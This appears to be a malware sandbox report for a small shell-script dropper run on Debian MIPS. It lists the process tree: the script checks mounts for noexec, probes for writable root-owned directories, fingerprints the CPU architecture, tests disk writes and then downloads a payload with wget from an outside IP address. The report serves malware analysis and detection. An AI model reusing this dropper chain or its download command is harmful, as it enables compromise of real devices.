Overview

overview

9

Static

static

1

sh

ubuntu-18.04-amd64

9

sh

debian-9-armhf

9

sh

debian-9-mips

3

sh

debian-9-mipsel

7

Analysis

  • max time kernel
    74s
  • max time network
    141s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    25/05/2026, 11:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    sh
  • Size 2KB
  • Sample260525-nehdcaev3k
  • SHA256 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/sh
    /tmp/sh
    1⤵
      PID:714
      • /bin/cat
        cat /proc/mounts
        2⤵
        • Reads runtime system information
        PID:724
      • /bin/grep
        grep noexec
        2⤵
          PID:725
        • /usr/bin/awk
          awk "{print \$2}"
          2⤵
          • Reads runtime system information
          PID:726
        • /usr/bin/whoami
          whoami
          2⤵
            PID:737
          • /usr/bin/find
            find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*"
            2⤵
            • Reads runtime system information
            PID:740
          • /bin/uname
            uname -mp
            2⤵
              PID:755
            • /usr/bin/tr
              tr -d " "
              2⤵
                PID:760
              • /usr/bin/od
                od -An -N2 -i /dev/urandom
                2⤵
                  PID:759
                • /usr/bin/expr
                  expr -1900740608 "%" 32 + 4
                  2⤵
                    PID:762
                  • /usr/bin/tr
                    tr -dc A-Za-z0-9
                    2⤵
                      PID:765
                    • /usr/bin/openssl
                      openssl rand -base64 256
                      2⤵
                        PID:764
                      • /usr/bin/head
                        head -c 4
                        2⤵
                          PID:766
                        • /usr/bin/touch
                          touch .testfile
                          2⤵
                            PID:770
                          • /bin/dd
                            dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                            2⤵
                              PID:772
                            • /bin/rm
                              rm -rf .testfile .testfile2
                              2⤵
                                PID:774
                              • /bin/rm
                                rm -rf clean
                                2⤵
                                  PID:775
                                • /usr/bin/wget
                                  wget --no-check-certificate -q https://14.46.136.77/clean
                                  2⤵
                                    PID:777

                                Network

                                      MITRE ATT&CK Matrix

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      .testfile2
                                      • Path /.testfile2
                                      • Size 2.0MB
                                      • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download